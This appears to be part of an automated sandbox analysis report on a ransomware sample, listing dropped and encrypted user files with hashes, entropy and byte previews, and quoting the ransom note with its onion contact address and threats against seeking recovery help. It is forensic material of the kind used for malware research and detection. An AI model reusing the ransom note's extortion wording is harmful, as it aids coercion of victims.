Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\user\Contacts\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\user\Desktop\BPMLNOBVSB.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.622237116759881
Encrypted:	false
SSDEEP:
MD5:	8AF86D83418A27D09480F056F7199774
SHA1:	6BC8BEC9D0F40B252D7ADFCB8F2961C52E2DF9C3
SHA-256:	0BD2710CA70B337E41456DF47839A5D4EEB9A3B7ECF0365B3B0E44229DFD739C
SHA-512:	BB6B72670FF43027F7A432F41A259F86656E84237165F00E35E02AFC06CBDD59BD1238BC5F040E5CACF0E23518D518ED459EF511DA20331726DE0385EC681C55
Malicious:	false
Preview:	.^L&.m....4.h..:..7..\..u!....v......S....\O.p[E......m.....]X-.e....%.h..5..1..L/.g-....m......Q/...EK.n]Y...)...k.....A@+.a....2.s..9.1...J%.i8...o......O$...D[.`VH...<...m.....AS#.e....'.q..4.-..K(.r;....i......O&...\M.s\N... ...u......ZO .f....+.t..8.5...X2.z:...x......Q)...UF.hQH...7...m.....VT?.a..../.m..%.5..L2.d.....c......W9...XQ.vCD...0...b......DD#.z....,.w..%.;..F0.b:...h......M ..._[.tPS...3...w.....XT9.g....!....>.4..Y0.t<...j......I,...TW.pXN...3...a.....\F2.l....).r..&.2..T2.l;...i......];...SV.gCP.../...p.....HX8.m....4.s..$..-..Z..z7....u......N"...^K.tOX...-...n.....EU-.o....-.p..#.;...W9.w;....o......W0..._P.mR[...2...h......G[;.k....-.t..".....Q-.e7...q......C;..._Z.o@N...>...y......VT".x....,.a..3..,...P*.j,...l......D2...YX.vAO...6...v.....[R8.r....%.}..%.2..U4.r3...s......_$...TI.jMK...4...i.....WV#.w....+.j..0.:..N6.w-...y......V,...@L.b]R..."...d......KU(.x....?.h..4..4.._3.d0....b......L"

C:\Users\user\Desktop\BPMLNOBVSB.docx.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.622237116759881
Encrypted:	false
SSDEEP:
MD5:	8AF86D83418A27D09480F056F7199774
SHA1:	6BC8BEC9D0F40B252D7ADFCB8F2961C52E2DF9C3
SHA-256:	0BD2710CA70B337E41456DF47839A5D4EEB9A3B7ECF0365B3B0E44229DFD739C
SHA-512:	BB6B72670FF43027F7A432F41A259F86656E84237165F00E35E02AFC06CBDD59BD1238BC5F040E5CACF0E23518D518ED459EF511DA20331726DE0385EC681C55
Malicious:	false
Preview:	.^L&.m....4.h..:..7..\..u!....v......S....\O.p[E......m.....]X-.e....%.h..5..1..L/.g-....m......Q/...EK.n]Y...)...k.....A@+.a....2.s..9.1...J%.i8...o......O$...D[.`VH...<...m.....AS#.e....'.q..4.-..K(.r;....i......O&...\M.s\N... ...u......ZO .f....+.t..8.5...X2.z:...x......Q)...UF.hQH...7...m.....VT?.a..../.m..%.5..L2.d.....c......W9...XQ.vCD...0...b......DD#.z....,.w..%.;..F0.b:...h......M ..._[.tPS...3...w.....XT9.g....!....>.4..Y0.t<...j......I,...TW.pXN...3...a.....\F2.l....).r..&.2..T2.l;...i......];...SV.gCP.../...p.....HX8.m....4.s..$..-..Z..z7....u......N"...^K.tOX...-...n.....EU-.o....-.p..#.;...W9.w;....o......W0..._P.mR[...2...h......G[;.k....-.t..".....Q-.e7...q......C;..._Z.o@N...>...y......VT".x....,.a..3..,...P*.j,...l......D2...YX.vAO...6...v.....[R8.r....%.}..%.2..U4.r3...s......_$...TI.jMK...4...i.....WV#.w....+.j..0.:..N6.w-...y......V,...@L.b]R..."...d......KU(.x....?.h..4..4.._3.d0....b......L"

C:\Users\user\Desktop\CURQNKVOIX.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.582538566507339
Encrypted:	false
SSDEEP:
MD5:	D60725D7A627301FF1F9E7B21C0DA4D1
SHA1:	3B134D4F36FD2ACB11CD0712060723A8E5258A69
SHA-256:	68A8A9B1FF78C9040B3A8BF7651C07784AD6615D38F5CB69DB25D11E8E8FB03D
SHA-512:	FF190D894858E17CE180DCDF9F05EAE355359DC803205C34FB9544FF940A080CB2DBDF48B578041FF9DCC2BE27E718D9E80046C683A0402A5D0631C4D00F323C
Malicious:	false
Preview:	..`Q5...-..u4.....\r7.Y. ..KY.........\|...n.-.L...U C.o..<.W,5...eB6...&..u<...\p'.D.&..FU.............`.&.\...B5^.s..&.R>4...{U1...'..w&...Gl#.B.9..@U.........j...u.;.Y...T!G.{..(.Z38...fX"...&..b!.....]z;.M.+...SR.........\|...h.'.J...G-G.h.. .Y25...`R,...3..f!...Br1.[.&...S^.........w...e.3.J...E'X.u..;.\"-...jS>...=...0.....^j..X.9...UM.........x...{.,.B...P V.t..8.C>4...kI4... ..n%...Mr..D."..HM.........i...s.-.J...B2Z.o..!.[$'...qG".....f#...Qf&.F./...KP.........b...q.-.@...Z=W.y..:.N,!...{H>...-..\|7.....It-.A.7..L\.........v...n.,.L...F+@.n..&.F)+...fN#...&..r......@o-.\.!...FN.........a...i. .\...G5F.p..#.T9(...hU0...-..o ...Cq'.D."..KV.........b...n.,.T...K#X.a..=.P#&...}P/...=..f$.....I{3.^.)...O@.........b...o.;._...G)N.z..?.]< ...cH5...!..`"...Qy+.J.4..H[.........v...p.+.D...V3G.p..%.\2&...uM(...3..\|,.....Cw(.\. ...[N.........l...e..D...N7D.u..).B,)...qW(...-..~4...@d4.Y.$...ZN.........~...b.5.U...I)H.a..:.P=5...pX0...6..t1.....[h&.U.4..JY.........~

C:\Users\user\Desktop\CURQNKVOIX.docx.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.582538566507339
Encrypted:	false
SSDEEP:
MD5:	D60725D7A627301FF1F9E7B21C0DA4D1
SHA1:	3B134D4F36FD2ACB11CD0712060723A8E5258A69
SHA-256:	68A8A9B1FF78C9040B3A8BF7651C07784AD6615D38F5CB69DB25D11E8E8FB03D
SHA-512:	FF190D894858E17CE180DCDF9F05EAE355359DC803205C34FB9544FF940A080CB2DBDF48B578041FF9DCC2BE27E718D9E80046C683A0402A5D0631C4D00F323C
Malicious:	false
Preview:	..`Q5...-..u4.....\r7.Y. ..KY.........\|...n.-.L...U C.o..<.W,5...eB6...&..u<...\p'.D.&..FU.............`.&.\...B5^.s..&.R>4...{U1...'..w&...Gl#.B.9..@U.........j...u.;.Y...T!G.{..(.Z38...fX"...&..b!.....]z;.M.+...SR.........\|...h.'.J...G-G.h.. .Y25...`R,...3..f!...Br1.[.&...S^.........w...e.3.J...E'X.u..;.\"-...jS>...=...0.....^j..X.9...UM.........x...{.,.B...P V.t..8.C>4...kI4... ..n%...Mr..D."..HM.........i...s.-.J...B2Z.o..!.[$'...qG".....f#...Qf&.F./...KP.........b...q.-.@...Z=W.y..:.N,!...{H>...-..\|7.....It-.A.7..L\.........v...n.,.L...F+@.n..&.F)+...fN#...&..r......@o-.\.!...FN.........a...i. .\...G5F.p..#.T9(...hU0...-..o ...Cq'.D."..KV.........b...n.,.T...K#X.a..=.P#&...}P/...=..f$.....I{3.^.)...O@.........b...o.;._...G)N.z..?.]< ...cH5...!..`"...Qy+.J.4..H[.........v...p.+.D...V3G.p..%.\2&...uM(...3..\|,.....Cw(.\. ...[N.........l...e..D...N7D.u..).B,)...qW(...-..~4...@d4.Y.$...ZN.........~...b.5.U...I)H.a..:.P=5...pX0...6..t1.....[h&.U.4..JY.........~

C:\Users\user\Desktop\CURQNKVOIX.jpg

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.60406760366114
Encrypted:	false
SSDEEP:
MD5:	2FBB6F596DA2E7A96102F0506DD7FBDC
SHA1:	B52065499680ED2AA896F045FABDDD9ED9165BB8
SHA-256:	613960C2328BF2DAF8739F7BAF8E5291850D7DA2F8D8EE563E6FEAEE75368CC2
SHA-512:	F1B7EC6D0B14762C6297F70611E128564851A6E61408087F56BC870FC0F063CF129349A884F6B9FE8AEBC8604140919DDCB925FE4EF1F4F3B02FEC0572C42C8B
Malicious:	false
Preview:	......v.....u.....~3Z.....V..m.H..4.h$WG.D.s.........L...j..z....r....&.r......k.S.....Z..9c.J../.w#PI.O.\|........R...~..d....i...<.p......z(R....Z..7w.M..'.r!_\.R.b.........H...n..y....c....;.o.....o'M.....]..+g.X..8.b:TA.N.r........^...w.......h...;.u......1@....Q..7h.A..;.d'JL.Z.d........L...y..u...u.....e.....w2I....B..%v.C..6.}#YR.E.d.........H...c..t...`...?.o........X....B..5l.K..#.f=UZ.D.n........J...n..n...s...9.b.....\|,Q....._..(w.P..;.k.BX.D.i.........C...m..d....~...-.t......b+N....S..&g.U..(.m;WG.E.j........G...n..y...j...4.b.....q6@.....A..4j.C..%.q.B@.I.m........L...b..w....`...:.o......k.N....Y..9u.O..+.s:@G.E.l........L...\|..b....i....>.h......}4R....O..0t.X..'.c&_F.R.i........O...\|..\|....a....8.y.....w ]....T..9`.O..-.p.BY.B.\|.........D...g..j....m...6.u.....b6J....A..-`.R..5.n%LL.C.i.........R...x..n....k.....y.....k3G....A...i._..3.u?XK.\.j.........^...\|..o...`...+.i.....t?B....V..4{.M..'.

C:\Users\user\Desktop\CURQNKVOIX.jpg.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.60406760366114
Encrypted:	false
SSDEEP:
MD5:	2FBB6F596DA2E7A96102F0506DD7FBDC
SHA1:	B52065499680ED2AA896F045FABDDD9ED9165BB8
SHA-256:	613960C2328BF2DAF8739F7BAF8E5291850D7DA2F8D8EE563E6FEAEE75368CC2
SHA-512:	F1B7EC6D0B14762C6297F70611E128564851A6E61408087F56BC870FC0F063CF129349A884F6B9FE8AEBC8604140919DDCB925FE4EF1F4F3B02FEC0572C42C8B
Malicious:	false
Preview:	......v.....u.....~3Z.....V..m.H..4.h$WG.D.s.........L...j..z....r....&.r......k.S.....Z..9c.J../.w#PI.O.\|........R...~..d....i...<.p......z(R....Z..7w.M..'.r!_\.R.b.........H...n..y....c....;.o.....o'M.....]..+g.X..8.b:TA.N.r........^...w.......h...;.u......1@....Q..7h.A..;.d'JL.Z.d........L...y..u...u.....e.....w2I....B..%v.C..6.}#YR.E.d.........H...c..t...`...?.o........X....B..5l.K..#.f=UZ.D.n........J...n..n...s...9.b.....\|,Q....._..(w.P..;.k.BX.D.i.........C...m..d....~...-.t......b+N....S..&g.U..(.m;WG.E.j........G...n..y...j...4.b.....q6@.....A..4j.C..%.q.B@.I.m........L...b..w....`...:.o......k.N....Y..9u.O..+.s:@G.E.l........L...\|..b....i....>.h......}4R....O..0t.X..'.c&_F.R.i........O...\|..\|....a....8.y.....w ]....T..9`.O..-.p.BY.B.\|.........D...g..j....m...6.u.....b6J....A..-`.R..5.n%LL.C.i.........R...x..n....k.....y.....k3G....A...i._..3.u?XK.\.j.........^...\|..o...`...+.i.....t?B....V..4{.M..'.

C:\Users\user\Desktop\Excel.lnk

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2769
Entropy (8bit):	7.348295841995615
Encrypted:	false
SSDEEP:
MD5:	C7FF2061C6BA180D51D5638BF525FB5B
SHA1:	D4DA706AE41F9F87E7B9D93072674408AB3CC5D4
SHA-256:	D955F67A6D2759ACEA571AEB21E1758BBC83D26A0D9F7D59C2ED453B3ED337CA
SHA-512:	A19671A642D2A6AA91FBA3BD0FAB34DCCFE5FF2AB6DBD8624AACC9ADF1DB7E6E0920155286C5605B306B5C6D88E847136ECE19391FDDFBAAC5F59FCD0DEEB697
Malicious:	false
Preview:	H...\.Lc.pD7s...-.......bV....J.....>v.?...9~8..(..s.......:.....].Nc.pD7....2S9..kr.+Fi\X..cyq...Kc.....v.I....X.......:........r. .x.T......hB..B.u..m...p...Uq.....v.I....XN......r:....].N...DV.k..-E.>h'..B%.P..+I...\|q?.O...vbI...X*....:...].NR.HD..1..-..=hz..BV...l.CI....."A....v.I1s....\.,..:....].Nc.pD7....-..Wh_T.B...P..!I...:qY.{....vaI....X}......:.....]....`DE.i..-9.^hO.V...R......6m=.....v.I....X....r..:.....].Nc.dDm.7..-...?..B...9.b....\q;..`..A C.....X.......:.....].Nc.pD7.%.-L.1h-..B5..P..eI....q..g....!.......T....:...I.....4...(..-`.UhK..BV.P..SI...Uq>.....vDI...X].....:.....].N..pD6....-..zhK..BV..P..BI...Uq6..f..v.....?j......_.$..k.....6X.i...L.1.(..09.....5 .....4g.J...3.I....Xk......:.....].N...DA.c.-/.wh=..B%..P..?I...0q../...vcI....Xy....:.....].N...DC.u..-e.%h$..Bv..P..&I...1q^.{..vLI.....X6....:.....].N?.^D..Z.-q.8h,..B7..P...I....0qL./....v?I.....XU.....:.....].N..PDx.`.-j.4h...B$..P..'I...3qY

C:\Users\user\Desktop\Excel.lnk.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2769
Entropy (8bit):	7.348295841995615
Encrypted:	false
SSDEEP:
MD5:	C7FF2061C6BA180D51D5638BF525FB5B
SHA1:	D4DA706AE41F9F87E7B9D93072674408AB3CC5D4
SHA-256:	D955F67A6D2759ACEA571AEB21E1758BBC83D26A0D9F7D59C2ED453B3ED337CA
SHA-512:	A19671A642D2A6AA91FBA3BD0FAB34DCCFE5FF2AB6DBD8624AACC9ADF1DB7E6E0920155286C5605B306B5C6D88E847136ECE19391FDDFBAAC5F59FCD0DEEB697
Malicious:	false
Preview:	H...\.Lc.pD7s...-.......bV....J.....>v.?...9~8..(..s.......:.....].Nc.pD7....2S9..kr.+Fi\X..cyq...Kc.....v.I....X.......:........r. .x.T......hB..B.u..m...p...Uq.....v.I....XN......r:....].N...DV.k..-E.>h'..B%.P..+I...\|q?.O...vbI...X*....:...].NR.HD..1..-..=hz..BV...l.CI....."A....v.I1s....\.,..:....].Nc.pD7....-..Wh_T.B...P..!I...:qY.{....vaI....X}......:.....]....`DE.i..-9.^hO.V...R......6m=.....v.I....X....r..:.....].Nc.dDm.7..-...?..B...9.b....\q;..`..A C.....X.......:.....].Nc.pD7.%.-L.1h-..B5..P..eI....q..g....!.......T....:...I.....4...(..-`.UhK..BV.P..SI...Uq>.....vDI...X].....:.....].N..pD6....-..zhK..BV..P..BI...Uq6..f..v.....?j......_.$..k.....6X.i...L.1.(..09.....5 .....4g.J...3.I....Xk......:.....].N...DA.c.-/.wh=..B%..P..?I...0q../...vcI....Xy....:.....].N...DC.u..-e.%h$..Bv..P..&I...1q^.{..vLI.....X6....:.....].N?.^D..Z.-q.8h,..B7..P...I....0qL./....v?I.....XU.....:.....].N..PDx.`.-j.4h...B$..P..'I...3qY

C:\Users\user\Desktop\FENIVHOIKN.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM, 0x8C-variant)
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.5760225804593
Encrypted:	false
SSDEEP:
MD5:	7456F8D63BB4A329D8F02E3CCFD16150
SHA1:	DCAC2FEEC214E650712709515286B8FC1BF4CE01
SHA-256:	8CF89D5B8E66A77A7DC713540C657486C102CD871F8AA85901C1E9378D022987
SHA-512:	FEF840EFF2144101D1D00FA1B7AB81FEC84E789F5E1BA4A95999348CE3BBD7BAB8D9B52E0E5A46F30DDECDD1570AD099023C486608158B8B07508B098B427D60
Malicious:	false
Preview:	..`N....YQ.a..j.{....9D&j7.'..KA-U......0..-....s^.G..%..c}...yQ....XU.j..o.}.....(S:j-.0...XA0C......,.r1....gK.D..'..~i...b@....\].p..b.j....+R?.>.?..[\5[......$.\|&....cI.N..9..fy...dU....UN.f..a.{....4Nq$.6..@H;[......1.q$....fL.W..3..lr...c@....VL.l..i.f....,R9}&.=..BT&B......).{.....sW.C..4..rk...fA....@I.a..a.c....(_4u..#..[K.D......".c;....oD.O.....wj...wR....QN.l..z.b...."S+j+."..H]-Y......'.q6....bS.U..-..r~...aH....]^.o..\|.a....;Q \|6.-..WP5^........h'....kB.F....cl...\|H....UE.u..g.i....5Q8o&.5..IV'B......'.x,....hV.M..:..wj...a@....\[.q..t.x....6B"u&.'..F_ ]......:.x#....eK.M..$..ym...}^....WE.u..t.u....,F:l:./.._I!X......%.j)....jG.F..;..li...\|M....QI.j..m.\|.....K"a&...IR:A......7.z2....zI.J..&..aq...fV....]L.d..h.x.....I=q0.&..WHA.......j,....gM.U..2..qr...}T....UL.a..~.~....-C4q>.0..BM7J......7.a....oP.O.."..zv...zT....]L.l..w.{..../E!s8.)..]\!J......9.a5....o^.G..$..wm...yH....[N.g..t.l....3A6r(.+..WC-D...

C:\Users\user\Desktop\FENIVHOIKN.docx.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM, 0x8C-variant)
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.5760225804593
Encrypted:	false
SSDEEP:
MD5:	7456F8D63BB4A329D8F02E3CCFD16150
SHA1:	DCAC2FEEC214E650712709515286B8FC1BF4CE01
SHA-256:	8CF89D5B8E66A77A7DC713540C657486C102CD871F8AA85901C1E9378D022987
SHA-512:	FEF840EFF2144101D1D00FA1B7AB81FEC84E789F5E1BA4A95999348CE3BBD7BAB8D9B52E0E5A46F30DDECDD1570AD099023C486608158B8B07508B098B427D60
Malicious:	false
Preview:	..`N....YQ.a..j.{....9D&j7.'..KA-U......0..-....s^.G..%..c}...yQ....XU.j..o.}.....(S:j-.0...XA0C......,.r1....gK.D..'..~i...b@....\].p..b.j....+R?.>.?..[\5[......$.\|&....cI.N..9..fy...dU....UN.f..a.{....4Nq$.6..@H;[......1.q$....fL.W..3..lr...c@....VL.l..i.f....,R9}&.=..BT&B......).{.....sW.C..4..rk...fA....@I.a..a.c....(_4u..#..[K.D......".c;....oD.O.....wj...wR....QN.l..z.b...."S+j+."..H]-Y......'.q6....bS.U..-..r~...aH....]^.o..\|.a....;Q \|6.-..WP5^........h'....kB.F....cl...\|H....UE.u..g.i....5Q8o&.5..IV'B......'.x,....hV.M..:..wj...a@....\[.q..t.x....6B"u&.'..F_ ]......:.x#....eK.M..$..ym...}^....WE.u..t.u....,F:l:./.._I!X......%.j)....jG.F..;..li...\|M....QI.j..m.\|.....K"a&...IR:A......7.z2....zI.J..&..aq...fV....]L.d..h.x.....I=q0.&..WHA.......j,....gM.U..2..qr...}T....UL.a..~.~....-C4q>.0..BM7J......7.a....oP.O.."..zv...zT....]L.l..w.{..../E!s8.)..]\!J......9.a5....o^.G..$..wm...yH....[N.g..t.l....3A6r(.+..WC-D...

C:\Users\user\Desktop\FENIVHOIKN.pdf

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.556660748633863
Encrypted:	false
SSDEEP:
MD5:	7DB28EA19CF8B3A59AC4BF9F5A01BB75
SHA1:	998E1A80B930650884E97697D489E4C6C16C07A5
SHA-256:	08F4D44EF8409B2EEA010F54BDAFAF32C7C33279AFB40DF45EB6D03B3819F6F3
SHA-512:	CC82EA61ABBAE25AA917C669F62F59F524CED346DC246160AB497717195B02C3457982225DD31F2EC4E7EC7F24A9CCA06A11CD36A64D736E2518EED2DC3C6479
Malicious:	false
Preview:	...?.....\..e.<.b4...f}l.s........)..k....X... .$I.%:....^=..... .....O..k.9.d5...wl{.s........?..z....D...5.'].:9....^ .....1.....N..y.4.s'...noz.f........'..y....L...&."Y.83....H8.....$.....L..o.7.b4...opf.h........'..n....Y...6. \.%....K2.....1.....G..e.?..5...thz.d........>..\|....A...=.6I.=>....A,.....0.....X..j.7.z,...ulw.l........8.......J...=.5U.2....N).....#.....U..i.,.{&...mf{.s........%..}....O...4.!X.>(....I,.....9.....F..c.*.x2...}.y.e........"..r....F...9.;Q.9;....D=.....9.....X..m.1.p3...gqy.v........>..l....O...7.7R.>0....]).....1....._..v.".a0...grj.l........!..z....R...(.9_.10....E'...../.....G..v.".l5...phn.u........$..b....M...>. P.#;....D2.....<.....P..i.;.e:...jjc.x........=..i...._...:.,@.:7....S?.....'.....]..c.>.a-...zja.h........=..c....B...6.9].#(....I/.....%.....X..v.(.g2...oik.h........6..b...._... .'U.!2....[$.....%.....[..o.!.b(...pkm.j........6..`....Q...#.%U./:....G).....9.....W....".u)...ywi.k........8..o

C:\Users\user\Desktop\FENIVHOIKN.pdf.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.556660748633863
Encrypted:	false
SSDEEP:
MD5:	7DB28EA19CF8B3A59AC4BF9F5A01BB75
SHA1:	998E1A80B930650884E97697D489E4C6C16C07A5
SHA-256:	08F4D44EF8409B2EEA010F54BDAFAF32C7C33279AFB40DF45EB6D03B3819F6F3
SHA-512:	CC82EA61ABBAE25AA917C669F62F59F524CED346DC246160AB497717195B02C3457982225DD31F2EC4E7EC7F24A9CCA06A11CD36A64D736E2518EED2DC3C6479
Malicious:	false
Preview:	...?.....\..e.<.b4...f}l.s........)..k....X... .$I.%:....^=..... .....O..k.9.d5...wl{.s........?..z....D...5.'].:9....^ .....1.....N..y.4.s'...noz.f........'..y....L...&."Y.83....H8.....$.....L..o.7.b4...opf.h........'..n....Y...6. \.%....K2.....1.....G..e.?..5...thz.d........>..\|....A...=.6I.=>....A,.....0.....X..j.7.z,...ulw.l........8.......J...=.5U.2....N).....#.....U..i.,.{&...mf{.s........%..}....O...4.!X.>(....I,.....9.....F..c.*.x2...}.y.e........"..r....F...9.;Q.9;....D=.....9.....X..m.1.p3...gqy.v........>..l....O...7.7R.>0....]).....1....._..v.".a0...grj.l........!..z....R...(.9_.10....E'...../.....G..v.".l5...phn.u........$..b....M...>. P.#;....D2.....<.....P..i.;.e:...jjc.x........=..i...._...:.,@.:7....S?.....'.....]..c.>.a-...zja.h........=..c....B...6.9].#(....I/.....%.....X..v.(.g2...oik.h........6..b...._... .'U.!2....[$.....%.....[..o.!.b(...pkm.j........6..`....Q...#.%U./:....G).....9.....W....".u)...ywi.k........8..o

C:\Users\user\Desktop\GAOBCVIQIJ.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.609191929592433
Encrypted:	false
SSDEEP:
MD5:	2BBDBC01114524B7BB65B767164AB1ED
SHA1:	6B8BE1F1E628F59B9A1C318609641DEB7207BB07
SHA-256:	E930519987A877FE97E4361BB50830E23DA0EAAA64B44FA1544AE88D44F65AAC
SHA-512:	D183E9E1D2DA0FE1D89ECE2C2032692DAF8967AD270CA6CBA439C01D870EDE5CB3F5D6232C13AA2BA705BA03EEEDA09A9C758EBB4D54E026DEA6EBEA2EEAF782
Malicious:	false
Preview:	..J..[..@TI,..x...c#.....%G..........{<..\|.....{..Rp.d..Q..H..EYI5..z.t.d'.....%S..........e"..u....../..y..Iu.r....I..X..GJK3..b.u.d.......6^..........t ..z.....k..Gl.p....Y..Y..PNZ(..c.x.d).5....2_..........z-..u....;..i..Id.p..I..E..VJV+..k.t.\|=.;....?I..........`;..{.....(..r..H`.}..W..@..DXU*..e.n..}:.7...."_..........a3..n.....6..l..\q.w..S..C..GWS(..b.o.b(."....:Z..........x9..l....:..o..Le......U..X..TSH...e.i.e5. ....:C..........c%..o......+..z..Yg.t..T..G..RVL+..~.t.l$.7....$A..........z#..{...... ..a..\`.w..J..^..XS\"..d.u.}).2....:S..........x ..`...;..l..Nj.s..D..C..HLO=..n.u.z(.0....2S........... ..e.....+..k..De.`..H..\..EP@2..x.k.o<.1...."Q...........h>..w......7..f..Ef.m..U..H..JCR"..~.e.o/. ....?Z..........~"..d.....(..e..Ss.l..P..U..@YP3..k.d.j..0....=E..........~)..z....6..y..Kc.h.._..U..EWX-..g.f.k8.%....9I..........l2..z......~..Rj.k....K..\..YKT/..a.v.\|+.$....?Y........

C:\Users\user\Desktop\GAOBCVIQIJ.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.609191929592433
Encrypted:	false
SSDEEP:
MD5:	2BBDBC01114524B7BB65B767164AB1ED
SHA1:	6B8BE1F1E628F59B9A1C318609641DEB7207BB07
SHA-256:	E930519987A877FE97E4361BB50830E23DA0EAAA64B44FA1544AE88D44F65AAC
SHA-512:	D183E9E1D2DA0FE1D89ECE2C2032692DAF8967AD270CA6CBA439C01D870EDE5CB3F5D6232C13AA2BA705BA03EEEDA09A9C758EBB4D54E026DEA6EBEA2EEAF782
Malicious:	false
Preview:	..J..[..@TI,..x...c#.....%G..........{<..\|.....{..Rp.d..Q..H..EYI5..z.t.d'.....%S..........e"..u....../..y..Iu.r....I..X..GJK3..b.u.d.......6^..........t ..z.....k..Gl.p....Y..Y..PNZ(..c.x.d).5....2_..........z-..u....;..i..Id.p..I..E..VJV+..k.t.\|=.;....?I..........`;..{.....(..r..H`.}..W..@..DXU*..e.n..}:.7...."_..........a3..n.....6..l..\q.w..S..C..GWS(..b.o.b(."....:Z..........x9..l....:..o..Le......U..X..TSH...e.i.e5. ....:C..........c%..o......+..z..Yg.t..T..G..RVL+..~.t.l$.7....$A..........z#..{...... ..a..\`.w..J..^..XS\"..d.u.}).2....:S..........x ..`...;..l..Nj.s..D..C..HLO=..n.u.z(.0....2S........... ..e.....+..k..De.`..H..\..EP@2..x.k.o<.1...."Q...........h>..w......7..f..Ef.m..U..H..JCR"..~.e.o/. ....?Z..........~"..d.....(..e..Ss.l..P..U..@YP3..k.d.j..0....=E..........~)..z....6..y..Kc.h.._..U..EWX-..g.f.k8.%....9I..........l2..z......~..Rj.k....K..\..YKT/..a.v.\|+.$....?Y........

C:\Users\user\Desktop\MXPXCVPDVN.pdf

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.57010825487167
Encrypted:	false
SSDEEP:
MD5:	AE48F8D39B75C449B09FD90E10F19E22
SHA1:	4FF9C8FD4471C21C63ECCFEB11E38F2A04697DA2
SHA-256:	FB1F491E21FED6F21D5D04755DC22EE0875A7DAA052F0751C6CBCEBBB4EC2F7F
SHA-512:	3F588A149577E4516AE2049DBB79903B5298FB35A7A2C0CC404ABCD318AB150F1CD2A5030C6A9BA8C8E1017F727CB4CFC4D84B5B0405A42EEB1638A02F34D53A
Malicious:	false
